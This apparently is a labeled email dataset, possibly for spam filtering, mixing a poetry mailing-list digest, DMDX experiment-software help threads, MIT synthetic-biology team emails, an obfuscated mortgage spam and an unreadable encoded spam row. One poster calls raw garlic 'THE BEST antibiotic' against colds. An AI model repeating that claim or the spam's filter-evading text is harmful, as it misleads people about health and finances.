[weblog] .. .. .. .. .. .. .. .. .. .. [log in to unmask] 01/23/04 9:30 AM >>> Ibuprofen and orange juice - couch, soap operas (or a thirties movie) afghan (the knitted kind) soup on the stove xxx H ----- Original Message ----- From: ""Adrienne D Lewis"" <<[log in to unmask]> To: <<[log in to unmask]> Sent: Thursday, January 22, 2004 9:16 AM Subject: AWP Hi everyone, Michigan weather being what it is, the snow is falling, the barometer is up, and I have a nasty head cold (Sorry if that's TMI)...Anyway, I wanted to let everyone know that I *am* working on the schedule for AWP and hope to send it out this weekend. If you haven't send info in to me (please do so at [log in to unmask] and not my cmich account), here's yoru chance... Adrienne From: Deborah Ager <<[log in to unmask]> Date: Fri Jan 23, 2004 12:16:55 PM America/New_York Subject: Word Press--wow Lately, I've been seeing poems around by Word Pres authors. I'm impressed with the great quality of the work given how recently the press was started. I don't have much more to say about it...just wanted to point them out to you all. http://www.word-press.com/ All best, Deborah Ager 32 Poems Magazine Visit http://www.32poems.com From: Deborah Ager <<[log in to unmask]> Date: Fri Jan 23, 2004 12:18:53 PM America/New_York Subject: Re: AWP What helps me when I'm feeling bad is raw garlic. Chop a clove or two into little bits and swallow the pieces like a pil -- do not chew!-- and wash down with water. Do this with some food in your stomach. If you *don't* chew, the garlic will not make for stinky breath. I haven't been sick with a cold in years if that convinces you any. :) From: Deborah Ager <<[log in to unmask]> Date: Fri Jan 23, 2004 12:24:07 PM America/New_York Subject: Re: D. H. Melhem: Introducing Myself Welcome to the list! I am fellow Washingtonian and know right about where you work. I'm working four block from the Capitol. Gwendolyn Brooks was a favorite poet of mine. I was fortunate to be able to listen to her speak at the Kennedy Center when she gave the Jefferson lecture. All best wishes, Deborah Ager 32 Poems Magazine http://www.32poems.com From: Jeffrey Levine <<[log in to unmask]> Date: Fri Jan 23, 2004 12:33:50 PM America/New_York Subject: Re: AWP ArialI tried this once, but then for three hours I couldn't see my own reflection in a mirror . Scary. Jeffrey In a message dated 1/23/2004 12:22:51 PM Eastern Standard Time, [log in to unmask] writes: What helps me when I'm feeling bad is raw garlic. Chop a clove or two into little bits and swallow the pieces like a pil -- do� not chew!-- and wash down with water. Do this with some food in your stomach. If you *don't* chew, the garlic will not make for stinky breath. I haven't been sick with a cold in years if that convinces you any. :) From: ""R. S. Gwynn"" <<[log in to unmask]> Date: Fri Jan 23, 2004 12:39:45 PM America/New_York Subject: Re: Word Press--wow ArialIn a message dated 1/23/2004 11:20:45 AM Central Standard Time, [log in to unmask] writes: Lately, I've been seeing poems around by Word Pres authors. I'm impressed with the great quality of the work given how recently the press was started. I don't have much more to say about it...just wanted to point them out to you all. http://www.word-press.com/ All best, Deborah Ager 32 Poems Magazine Visit http://www.32poems.com I hope you (and everyone else) will take a look at Jennifer Reeser's book. From: Rosalie O'Leary <<[log in to unmask]> Date: Fri Jan 23, 2004 12:55:53 PM America/New_York Subject: Re: Garlic cure Yes, indeed. I came down with a cold this past weekend. I ate 1 clove of garlic, prepared and ingested as Deborah suggests, every 2 hours all day Monday. I was much improved and ready for work on Tuesday. I continue to eat 2-3 cloves a day. Today I am completely well. This is THE BEST antibiotic. Try it and you'll never suffer with a cold again. Breath freely, Rosalie O'Leary --- Deborah Ager <<[log in to unmask]> wrote: What helps me when I'm feeling bad is raw garlic. Chop a clove or two into little bits and swallow the pieces like a pil -- do not chew!-- and wash down with water. Do this with some food in your stomach. If you *don't* chew, the garlic will not make for stinky breath. I haven't been sick with a cold in years if that convinces you any. :) __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free web site building tool. Try it! http://webhosting.yahoo.com/ps/sb/ From: ""R. S. Gwynn"" <<[log in to unmask]> Date: Fri Jan 23, 2004 1:11:48 PM America/New_York Subject: Re: AWP ArialIn a message dated 1/23/2004 10:31:29 AM Central Standard Time, [log in to unmask] writes: Ibuprofen and orange juice - couch, soap operas (or a thirties movie) afghan (the knitted kind) soup on the stove Add some wine and ""Now, Voyager,"" which I watched last night for the first time (how did I ever miss this one?).� Oh, that Bette! From: ""R. S. Gwynn"" <<[log in to unmask]> Date: Fri Jan 23, 2004 1:17:55 PM America/New_York Subject: Re: Meg on VerseDaily! ArialIn a message dated 1/22/2004 8:15:39 PM Central Standard Time, [log in to unmask] writes: Wom-pos-- Quick!� Before you go to bed, go to VerseDaily and read Meg Schoerke's astonishing sestina, ""Lament""!� It's simply wonderful. Best--� Marilyn T I must say, this is a totally successful poem which is going up on my wall of honor! Meg, with Dana Gioia and David Mason, is co-editor of the new anthologyTwentieth-Century American Poetry from McGraw-Hill.� From: Kevin Walzer <<[log in to unmask]> Date: Fri Jan 23, 2004 1:49:06 PM America/New_York Subject: Re: Word Press--wow Deborah, How nice! Thanks for the good words. Word Press was the first of our imprints, but we currently have a number of books by wom-po poets in production at our other imprints...Ingrid Wendt's book THE ANGLE OF SHARPEST ASCENDING is due out in a few weeks from WordTech Editions (http://www.wordtechweb.com), Marilyn Taylor's book SUBJECT TO CHANGE will be out next month from David Robert Books (http://www.davidrobertbooks.com), and Jendi Reiter's book A TALENT FOR SADNESS was out last fall from Turning Point Books (http://www.turningpointbooks.com). To say nothing of Allison Joseph's WORLDLY PLEASURES, also just out from Word Press. All the imprints may be a little confusing, I know...the ""big picture"" about our publishing is at http://www.wordtechcommunications.com. Thanks! Kevin On 1/23/04 12:16 PM, ""Deborah Ager"" <<[log in to unmask]> wrote: Lately, I've been seeing poems around by Word Pres authors. I'm impressed with the great quality of the work given how recently the press was started. I don't have much more to say about it...just wanted to point them out to you all. http://www.word-press.com/ All best, Deborah Ager 32 Poems Magazine Visit http://www.32poems.com From: Adrienne D Lewis <<[log in to unmask]> Date: Fri Jan 23, 2004 3:34:50 PM America/New_York Subject: Re: AWP Thanks for the poetic get well, Helen! xxx, Adrienne From: Adrienne D Lewis <<[log in to unmask]> Date: Fri Jan 23, 2004 3:36:52 PM America/New_York Subject: Re: AWP Thanks for the advice, Deborah! Alas, my nose continues to run in depressing unison with the snow falling outside my window...A. From: Adrian Richwell <<[log in to unmask]> Date: Fri Jan 23, 2004 3:52:23 PM America/New_York Subject: FF Susan Bassnett's translations of Alejandra Pizarnik GOETHE'S DESK I once saw Goethe's desk, in Goethe's house, a lovely piece,warm wood on which to write, while on a floor below a dozen servants tiptoed their way to make his tea and keep his carriage at the ready. Outside the casement gardeners trimmed his plants. The world of Weimar begged for his company and he tried hard to learn all that there was to know and write it down. If I'd had Goethe's desk I might have spent a lifetime writing Faust. Instead I do a dozen servants' jobs and write my lines stealing the time from home. My desk's the kitchen table No clavichord nearby. The washer's thrum would drown it anyhow. I learn the hard way. Washing the muddy footprints off the floor I rinse the hopes of grandeur out of me. SUSAN BASSNETT from *Exchanging Lives: Poems and Translations* ***************************** FIESTA He desplegado mi orfandad sobre la mesa, como un mapa. Dibuje el itinerario hacia mi lugar al viento. Los que llegan no me encuentran. Los que espero no existen. Y he hebido licores furiosos para tranmutar los rostros en un angel,en vasos vacios. FIESTA I unfurled my homelessness across the table, like a map. I traced my journey as far as my place in the wind. The ones who get there never meet me. The ones I wait for don't exist. And I drink wild spirits to change faces into angels, into empty cups. *********************************** MENDIGA VOZ Y aun me atrevo a amar el sonido de la luz en una hora muerta, el color del tiempo en un muro abandonado. En mi mirada lo he perdido todo. Es tan lejos pedir. Tan cerca saber que no hay. A BEGGING VOICE And sometimes I dared to love the sound of light was a dead hour the color of time in an abandoned wall In my gazing I have lost it all. It is so hard to ask. So easy to know I need. ********************************************** un golpe del alba en las flores me abanona ebria de nada y de luz lila ebria de immovidad y de certeza dawn strikes in the flowers leaving me drunk with nothingness and lilac light drunk with stillness and with certainty ****************************************** El poema que no digo, el que no merezco. Miedo de ser dos camino del espejo: alguien en mi dormido me come y me bebe The poem I do not write, the one I do not deserve. Fear of being two pathway in a mirror: someone sleeping within me eats me and drinks me. *************************** FOR MY FATHER Rain for five days. The field's a lake, the house walls seeping wet. Before dawn broke I lay and listened to a world awash with water. Inside the ward it's dry and far too warm for tears. I sit beside the man stuffed in a wheelchair, hands like Lear's plucking at flowers that were never there. This was, and is, my father. Quite oblivious to rain outside or me. Once he would tell me stories tales of wars and men, Troy and Tobruk a blur of past exploits. Now, waiting to die words fail. Blankness for him. For me prospect of summer, somewhere through the rain. NOMBRARTE no el poema de tu ausencia solo un dibujo, una grieta en un muro, algo en el viento, un sabor amargo. SPEAKING YOUR NAME Not a poem on your absence just a sketch, a crack in a wall, something in the wind a taste of bitterness ************************************** Alejandra Pizarnik trans by Susan Bassnett,2002 From: Susan Schultz <<[log in to unmask]> Date: Fri Jan 23, 2004 6:50:08 PM America/New_York Subject: Fwd: new books, half by women sorry for the typo induced bouncing... Susan M. Schultz Professor Department of English University of Hawai`i-Manoa Honolulu, HI 96822 http://maven.english.hawaii.edu/tinfish http://epc.buffalo.edu/authors/schultz/ From: Susan Schultz <<[log in to unmask]> Date: Fri Jan 23, 2004 6:27:00 PM America/New_York To: [log in to unmask] Cc: [log in to unmask] Subject: new books, half by women Tinfish Press is pleased to announce the publication of four new chapbooks (the last boxes just now arrived at the door): _A Theory of Subjectivity in Moby-Dick_, in which Deborah Meadows reads through Melville's text. _No guns, no durian_, by Susan M. Schultz, in which I steal liberally from Angelina Jolie's Cambodia diaries, among other sources. and by the men: _The Prison Diaries of Ho Chi Minh_, translated from the Chinese by Steve Bradbury. _Philter_, by Normie Salvador. Our first scented book. For details about ordering, please see our website: http://maven.english.hawaii.edu/tinfish aloha, Susan Susan M. Schultz Professor Department of English University of Hawai`i-Manoa Honolulu, HI 96822 http://maven.english.hawaii.edu/tinfish http://epc.buffalo.edu/authors/schultz/ From: Peggy Shumaker <<[log in to unmask]> Date: Fri Jan 23, 2004 8:10:38 PM America/New_York Subject: new low-residency MFA program Arial� Hi, everyone, � A new low-residency MFA,�The Rainier Writing Workshop,�will start offering classes in August, 2004.� It's the first�brief-residency program�in the Pacific NW. � Faculty members are all experienced, generous, effective�teachers. � If�people are�interested,�they might take a look at the program's web site --� 1999,1999,FFFFwww.plu.edu/~mfa�� � All best, � Peggy Shumaker � If you have questions, please�email the program at 1999,1999,FFFF[log in to unmask] .� Thanks! Back to: Top of message | Previous page | Main WOM-PO page LISTS.USM.MAINE.EDU",1,1 Angelina Maria Copeland ,DMDX@psy1.psych.arizona.edu,"Fri, 23 Jan 2004 16:49:13 -0500",[DMDX] pio on xp,"I was wondering if anyone has had success or failure using a keithley PIO card on an XP machine. I am currently failing. Everything tests okay in the DriverLINX test panel; the input is being received. DMDX even locates the address of the PIO, but when I use the PIO test in time-DMDX it doesn't respond to input. There are no error messages, it simply doesn't respond. I also get no response from PIO input when running a script. Any advice would be greatly appreciated. Thanks, Angelina ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 23 Jan 2004 15:43:33 -0700",[DMDX] Re: pio on xp,"At 04:49 PM 1/23/2004 -0500, you wrote: >I was wondering if anyone has had success or failure using a keithley >PIO card on an XP machine. I am currently failing. Everything tests okay >in the DriverLINX test panel; the input is being received. DMDX even >locates the address of the PIO, but when I use the PIO test in time-DMDX >it doesn't respond to input. There are no error messages, it simply >doesn't respond. I also get no response from PIO input when running a >script. Any advice would be greatly appreciated. Hmm, dunno that I ever tested the SOB in an XP machine, I suspect there was some good reason for me sticking it in the ME box but I sure can't recall what it was. One of the people in England that commissioned the work to use that card might have a better idea. It's entirely possible that Keithley's miserable software does something different under XP, if other users have no idea I'll look at it next week after I finish about three other jobs that I haven't gotten to this week... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Shaw's Principle: Build a system that even a fool can use, and only a fool will want to use it. ",0,0 �� ���� ,DMDX@psy1.psych.arizona.edu,"Sat, 24 Jan 2004 02:08:41 -0700",�ʰ��� �뤱���40�г��� �Ͼ���� å������ ó���ص帳�ϴ�s1,������������������������������������������   �������� 10������ ���� ���� ����                                   ������������   ������������������������������������������,1,1 Maarten van Casteren ,DMDX@psy1.psych.arizona.edu,"Mon, 26 Jan 2004 09:34:21 +0000",[DMDX] Re: pio on xp," Hi, > I was wondering if anyone has had success or failure using a keithley > PIO card on an XP machine. I am currently failing. I only have experience using the Keithley card in Win2000, and it has been a while ago. Did you create and configure a device in the DriverLINX configuration panel? I'm not sure what the default settings are, but mine has its digital input set to reveive at channels 0-7, values 0-255, 'SetUp' is 0x1 and the 'initialise' radio-button is selected. It is also switched to 'Hex'. Most of this must be standard settings, but I do remember playing with some of those values before it would work on my machine. Good luck, Maarten ",0,0 Marc ,DMDX@psy1.psych.arizona.edu,"Mon, 26 Jan 2004 13:16:50 +0100",[DMDX] Progressive Demasking,"Hi. I am trying to do progressive demasking with DMDX. I have read the previous posts about it, and it seems that this would be the correct code: >>~1000 ; >>~1001 ; >>+1002 <%ctr 2> * ""########"" / <%ctr 3> * "" house "" / ""########""; >>~1003 ; >>~1004 ; >>+1005 %3 ""########"" / * %27 "" house "" / %2 ""########"" / %28 "" house "" / %1 ""########"" / %29 "" house "" / ; Unfortunately, I have read the DMDX documentation and this piece of code again and again and I still don´t understand it completely... I would appreciate if somebody can explain me it a little. My main questions are: - why item 1005 is hard coded? (it is explained in the previous posts but i still don't get it). - what does the unconditional branch do exactly? is 2000 the next item? - what extra information would I get if I ""emit"" the counters? - with a code like this, with multiple lines for each item and with such a branching system, can I use an automatic scramble with it? if the item lines change its positions for each subject, will the branching find its targets? - finally, for the next item, should I create three different new counters with numbers 4, 5 and 6, or just can I reset the same counters? Thank you in advance.",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 26 Jan 2004 10:45:33 -0700",[DMDX] Re: pio on xp,"At 09:34 AM 1/26/2004 +0000, you wrote: >Hi, > > > I was wondering if anyone has had success or failure using a keithley > > PIO card on an XP machine. I am currently failing. > >I only have experience using the Keithley card in Win2000, and it has been >a while ago. Did you create and configure a device in the DriverLINX >configuration >panel? I'm not sure what the default settings are, but mine has its >digital input >set to reveive at channels 0-7, values 0-255, 'SetUp' is 0x1 and the >'initialise' >radio-button is selected. It is also switched to 'Hex'. Most of this must be >standard settings, but I do remember playing with some of those values >before it would work on my machine. Oh yeah, I remember now. Same stuff with winME. Totally un-obvious but you have to set their software up to manipulate the card the same way DMDX does which depends on which device you're using. If for instance you are using the PIO12output24 you'll want to have all ports set for output in the Keithley garbage for DMDX to work but for TimeDX to work it needs to have port A set for input. Of course if you're using the regular PIO12 device then TimeDX and DMDX use the same settings. And the setup value for a port to be input is 1 (as opposed to 0 for output) and it's most opaque, I remember figuring that stuff out and thinking there was no way a regular user of DMDX was ever going to get it working. Sure wish DMDX and TimeDX could do it for you but as I say the Keithley stuff is over engineered garbage. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who laughs last didn't get the joke. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 26 Jan 2004 11:23:40 -0700",[DMDX] Re: Progressive Demasking,"At 01:16 PM 1/26/2004 +0100, you wrote: >Hi. I am trying to do progressive demasking with DMDX. I have read the >previous posts about it, and it seems that this would be the correct code: > > >>~1000 ; > >>~1001 ; > >>+1002 <%ctr 2> * ""########"" / <%ctr 3> * "" house "" > / ""########""; > >>~1003 ; > >>~1004 ; > >>+1005 %3 ""########"" / * %27 "" house "" / %2 ""########"" / %28 "" house > "" / %1 ""########"" / %29 "" house "" / ; > >Unfortunately, I have read the DMDX documentation and this piece of code >again and again and I still don´t understand it completely... >I would appreciate if somebody can explain me it a little. >My main questions are: >- why item 1005 is hard coded? (it is explained in the previous posts but >i still don't get it). Because the display is continuously active across items in the loop the minimum time it can display a mask for is three ticks, one frame at the end of 1002, one frame in the inter item interval (assuming the minimum delay parameter D1) and at least one frame at the start of the next iteration of 1002. >- what does the unconditional branch do exactly? is 2000 the next item? Yep. >- what extra information would I get if I ""emit"" the counters? It would be an easier way to see how much de-masking had been done. Just emitting counter 3 would suffice would be my guess but that example looks broken. For a start there are two clockons in 1002 which isn't right and decrementing counter 3 when it starts at 1 doesn't look right either. I would expect counter 2 to be decremented and 3 to incremented. And there's no space in the keyword in 1002 either, it should be . I'd be going back the reference here, the example posted looks badly busted. >- with a code like this, with multiple lines for each item and with such a >branching system, can I use an automatic scramble with it? if the item >lines change its positions for each subject, will the branching find its >targets? They'll find their targets but things will be hopelessly screwed up unless you very carefully scramble things so as to keep items together that are part of the same progressively de-masked stimulus. There are an number of different ways that can be achieved, either the traditional way using a fixed grouping parameter G and having the same number of items in each presentation or by using the variable grouping keyword and having each presentation group's item numbers differ by modulo 100 or so, although the example looks like would be the right thing to use. >- finally, for the next item, should I create three different new counters >with numbers 4, 5 and 6, or just can I reset the same counters? You can reuse the same counters. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who laughs last didn't get the joke.",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Mon, 26 Jan 2004 18:53:42 +0000",[DMDX] Re: Progressive Demasking,"Just a word of caution, we never got progressive demasking to work using (a variant) of this design. I think our machines are a little old and slow and the pocessing time for the looping caused the stimulus to be visible. - Mike ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 26 Jan 2004 12:44:50 -0700",[DMDX] Re: Progressive Demasking,"At 06:53 PM 1/26/2004 +0000, you wrote: >Just a word of caution, we never got progressive demasking to work using >(a variant) of this design. I think our machines are a little old and >slow and the pocessing time for the looping caused the stimulus to be visible. > >- Mike You'll certainly get display errors on slower machines and given that I recently fixed a problem with DMDX wasting time while looping in large item files it's more likely to have happened in the past but any errors that script makes (assuming it gets fixed as I mentioned) would leave the mask up for longer than a fixed duty cycle would dictate, not the stimulus. Unless of course the machine is not up to displaying the raw item without the looping... /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ He who laughs last didn't get the joke. ",0,0 gsr@MIT.EDU,crackdots@mit.edu,"Mon, 26 Jan 2004 14:56:35 -0500",documentation,"We now have documentation assignments to cover everything: Overview: Howard System: gopal High Level Diagram: Enoch Parts List: Betty Parts Description (switch): gopal Parts Description (signal): Amanda Devices: Howard Debuggers: Amanda Timing: Amanda Models: Enoch (Message inbox:4700) Return-Path: Received: from po14.mit.edu (po14.mit.edu [18.7.21.72]) by po14.mit.edu (Cyrus v2.1.5) with LMTP; Tue, 27 Jan 2004 04:34:58 -0500 X-Sieve: CMU Sieve 2.2 Received: from biscayne-one-station.mit.edu by po14.mit.edu (8.12.4/4.7) id i0R9Yweu004622; Tue, 27 Jan 2004 04:34:58 -0500 (EST) Received: from manawatu-mail-centre.mit.edu (MANAWATU-MAIL-CENTRE.MIT.EDU [18.7.7.71]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id i0R9Yuq8023823 for ; Tue, 27 Jan 2004 04:34:56 -0500 (EST) Received: from nerd-xing.mit.edu (NERD-XING.MIT.EDU [18.7.16.74]) (authenticated bits=56) (User authenticated as enoch@ATHENA.MIT.EDU) by manawatu-mail-centre.mit.edu (8.12.4/8.12.4) with ESMTP id i0R9Yq8e007755 for ; Tue, 27 Jan 2004 04:34:53 -0500 (EST) Received: (from enoch@localhost) by nerd-xing.mit.edu (8.12.9) id i0R9YqLO022021; Tue, 27 Jan 2004 04:34:52 -0500 (EST) Date: Tue, 27 Jan 2004 04:34:52 -0500 (EST) From: Enoch Peserico To: crackdots@MIT.EDU Subject: Re: documentation In-Reply-To: <1075146995.401570f364b5f@webmail.mit.edu> Message-ID: References: <1075146995.401570f364b5f@webmail.mit.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -10.2 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) > High Level Diagram: Enoch what's this? > > Models: Enoch > Ok, I am running a little late. I'll email everything to you by tomorrow just after class (I may or may no be able to come). I would be grateful however if, before that time, someone pointed out to me, for each of the 6 promoters we are going to use (2 inducible 4 repressible) what the mechanism of promotion/repression is (I am a little too lazy/busy to look it up myself): 1. does each inducer/repressor bind directly to the DNA (like, say cAMP) or does it bind to a constitutive repressor/inducer knocking off its influence? The numerical model would be (slightly) different; I have implemented both, it would take a few minutes to rerun everything. 2. can you give me whatever constants you have digged out (or estimated) for each of these 6 promoters and the substances controlling them? I might have a few of them, but I'd rather have as much info as possible. I am interested in: a. diffusion constants (of diffusable elements) b. half lives (or degradation constants) c. hill coefficient of the promoter d. maximum tips out of the promoter (in the absence of repressor and/or ""infinite"" amounts of promoter), this obviously also depends on the RBS e. saturation level of the promoter: this is the amount of repressor (or inducer) necessary to bring the tips to 1/2 the maximum level. By the way, I am assuming distance between cells of the order of 1 micron. Am I totally off? E. (Message inbox:4703) Return-Path: Received: from po14.mit.edu (po14.mit.edu [18.7.21.72]) by po14.mit.edu (Cyrus v2.1.5) with LMTP; Tue, 27 Jan 2004 05:53:05 -0500 X-Sieve: CMU Sieve 2.2 Received: from biscayne-one-station.mit.edu by po14.mit.edu (8.12.4/4.7) id i0RAr4eu029168; Tue, 27 Jan 2004 05:53:04 -0500 (EST) Received: from manawatu-mail-centre.mit.edu (MANAWATU-MAIL-CENTRE.MIT.EDU [18.7.7.71]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id i0RAr29m001579 for ; Tue, 27 Jan 2004 05:53:02 -0500 (EST) Received: from nerd-xing.mit.edu (NERD-XING.MIT.EDU [18.7.16.74]) (authenticated bits=56) (User authenticated as enoch@ATHENA.MIT.EDU) by manawatu-mail-centre.mit.edu (8.12.4/8.12.4) with ESMTP id i0RAr18e008191 for ; Tue, 27 Jan 2004 05:53:02 -0500 (EST) Received: (from enoch@localhost) by nerd-xing.mit.edu (8.12.9) id i0RAr1mF024294; Tue, 27 Jan 2004 05:53:01 -0500 (EST) Date: Tue, 27 Jan 2004 05:53:01 -0500 (EST) From: Enoch Peserico To: crackdots@MIT.EDU Subject: Signal RESET In-Reply-To: Message-ID: References: <1075146995.401570f364b5f@webmail.mit.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -10.2 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) I forgot to mention a really important point that came to my mind talking to you yesterday. Amanda, you said that signals are not degraded enzymatically but by ""natural chewing"" from the cells. Then how are we going to send to initial RESET signal? I mean, we need a way to artificially remove both signals at the beginning of time: as Drew pointed out, we can't assume they will be absent at the beginning, since one cell might have accidentally turned on, initiaing a cascade that will make every single cell in the tube -before we even plate them - fluoresce either cyan or yellow. E. (Message inbox:4705) Return-Path: Received: from po14.mit.edu (po14.mit.edu [18.7.21.72]) by po14.mit.edu (Cyrus v2.1.5) with LMTP; Tue, 27 Jan 2004 06:24:02 -0500 X-Sieve: CMU Sieve 2.2 Received: from biscayne-one-station.mit.edu by po14.mit.edu (8.12.4/4.7) id i0RBO1eu009212; Tue, 27 Jan 2004 06:24:01 -0500 (EST) Received: from manawatu-mail-centre.mit.edu (MANAWATU-MAIL-CENTRE.MIT.EDU [18.7.7.71]) by biscayne-one-station.mit.edu (8.12.4/8.9.2) with ESMTP id i0RBNC9m004546 for ; Tue, 27 Jan 2004 06:23:12 -0500 (EST) Received: from nerd-xing.mit.edu (NERD-XING.MIT.EDU [18.7.16.74]) (authenticated bits=56) (User authenticated as enoch@ATHENA.MIT.EDU) by manawatu-mail-centre.mit.edu (8.12.4/8.12.4) with ESMTP id i0RBNB8e008435 for ; Tue, 27 Jan 2004 06:23:11 -0500 (EST) Received: (from enoch@localhost) by nerd-xing.mit.edu (8.12.9) id i0RBNB3G028705; Tue, 27 Jan 2004 06:23:11 -0500 (EST) Date: Tue, 27 Jan 2004 06:23:11 -0500 (EST) From: Enoch Peserico To: crackdots@MIT.EDU Subject: Signal RESET - solution? In-Reply-To: Message-ID: References: <1075146995.401570f364b5f@webmail.mit.edu> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: -10.2 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) > I mean, we need a way to artificially remove both signals at the beginning > of time: as Drew pointed out, we can't assume they will be absent at the > beginning, since one cell might have accidentally turned on, initiaing a > cascade that will make every single cell in the tube -before we even plate > them - fluoresce either cyan or yellow. One quick and dirty solution might be to add the sequence: R0010 B0034 C0075 C0051 B0015 In other words, put the repressors controlling the two nor gates, lambdacI (R0051) and TP901CI (R0075) under control of the LacI promoter (R0010). To turn off our signals, we just put our cells (temporarily) on a low glucose, high lactose diet, and get them back to making bands e.g. by waiting till they have eaten up the lactose or by washing the plate with beta-galactosidase (or something else cleaving lactose). Other ideas? E.",0,0 Cearbhall Traywick ,DMDX@psy1.psych.arizona.edu,"Mon, 26 Jan 2004 10:17:45 -0700",Re: oajoj news,"Dea w r Home Ow t ne j r , Your cr l ed l it doesn't matter to us ! If you O c WN real e o st r at l e and want IM h MED e IA f TE cas y h to sp d en y d ANY way you like, or simply wish to LO m WER your monthly p g aymen g ts by a third or more, here are the de f als we have T u ODA z Y : $ 48 e 8 , 000 at a 3 h , 67% f b ixed - rat z e $ 3 l 72 , 000 at a 3 , j 90% va d riab d le - rat g e $ 4 o 92 , 000 at a 3 u , 21% i o ntere u st - only $ 2 m 48 , 000 at a 3 , q 36% fi j xed - rat a e $ 19 t 8 , 000 at a 3 , c 55% v l ariable - ra l te H j urry, when these deaI i s are gone, they are gone ! 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(Message inbox:4683) Return-Path: Received: from po14.mit.edu (po14.mit.edu [18.7.21.72]) by po14.mit.edu (Cyrus v2.1.5) with LMTP; Mon, 26 Jan 2004 21:32:37 -0500 X-Sieve: CMU Sieve 2.2 Received: from pacific-carrier-annex.mit.edu by po14.mit.edu (8.12.4/4.7) id i0R2Wbeu021647; Mon, 26 Jan 2004 21:32:37 -0500 (EST) Received: from life.ai.mit.edu (ai.mit.edu [128.52.32.80]) by pacific-carrier-annex.mit.edu (8.12.4/8.9.2) with ESMTP id i0R2Wa5t011907 for ; Mon, 26 Jan 2004 21:32:36 -0500 (EST) Received: from suspiria.ai.mit.edu (suspiria [128.52.39.94]) by life.ai.mit.edu (8.12.10/8.12.9/BASENAME(ai.master.life-8.12.9.mc,.mc):RCS_REVISION(Revision: 1.23)) with ESMTP id i0R2Wavn017512 for ; Mon, 26 Jan 2004 21:32:36 -0500 (EST) Received: by suspiria.ai.mit.edu (8.8.8/1.1.19.2/08Jul98-0847PM) id VAA0000032776; Mon, 26 Jan 2004 21:32:36 -0500 (EST) From: Tom Knight MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16405.52675.887746.198234@suspiria.ai.mit.edu> Date: Mon, 26 Jan 2004 21:32:35 -0500 (EST) To: ""Jesus is a blue resistor!"" Subject: last question about cinR In-Reply-To: <200401270025.i0R0Pqjv027472@mass-toolpike.mit.edu> References: <200401270025.i0R0Pqjv027472@mass-toolpike.mit.edu> X-Mailer: VM 6.75 under Emacs 20.7.1 X-Spam-Score: -4.9 X-Spam-Flag: NO X-Scanned-By: MIMEDefang 2.28 (www . roaringpenguin . com / mimedefang) The other thing to do is a clustalW alignment of the cinR gene against luxR, rhlR, etc. You should be able to determine the correct length that way also.",0,0 Markus Raabe ,DMDX@psy1.psych.arizona.edu,"Tue, 27 Jan 2004 11:03:11 +0100",[DMDX] Default Delay,"Hello! I would be glad if you could give me a hand by the following problem: Is there something like a constant implicit default delay if I didn´d specify it explicitly in the Header? If existing, what is the amount of ticks of the default delay? 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",DMDX@psy1.psych.arizona.edu,"Tue, 27 Jan 2004 08:32:26 -0700",[DMDX] Re: Default Delay,"At 11:03 AM 1/27/2004 +0100, you wrote: >Hello! > >I would be glad if you could give me a hand by the following problem: >Is there something like a constant implicit default delay if I didn´d >specify it explicitly in the Header? >If existing, what is the amount of ticks of the default delay? It's 48 ticks. Actual time depends what the retrace rate is. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you are what you eat, does that mean Euelle Gibbons really was a nut? ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 27 Jan 2004 08:40:41 -0700",[DMDX] progressive de-masking," Was thinking about progressive de-masking this morning and realized that the first clockon has to be the one that is left in the item file and the subject timeout has to be set to whatever 30 ticks evaluates to. The problem with these kinds of displays is that while DMDX can do quite sophisticated things with the display across items you can't gather responses across items. So the clock must be turned on when the mask is displayed to catch any response made to the previous iteration of the loop and the response timeout has to be set so that the duration of the mask is not lengthened. It still means there's a couple of ticks where a response could be made that DMDX won't see, or at least that it will probably not see till the beginning of the next item. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you are what you eat, does that mean Euelle Gibbons really was a nut? ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 27 Jan 2004 16:09:19 +0000",[DMDX] Re: Progressive Demasking," > You'll certainly get display errors on slower machines and given that I > recently fixed a problem with DMDX wasting time while looping in large > item files it's more likely to have happened in the past but any errors > that script makes (assuming it gets fixed as I mentioned) would leave the > mask up for longer than a fixed duty cycle would dictate, not the > stimulus. Unless of course the machine is not up to displaying the raw > item without the looping... I'll update things at some point and have a play and see if the problem still occurs. > Was thinking about progressive de-masking this morning and realized > that the first clockon has to be the one that is left in the item file > and the subject timeout has to be set to whatever 30 ticks evaluates > to. The problem with these kinds of displays is that while DMDX can do > quite sophisticated things with the display across items you can't gather > responses across items. So the clock must be turned on when the mask is > displayed to catch any response made to the previous iteration of the > loop and the response timeout has to be set so that the duration of the > 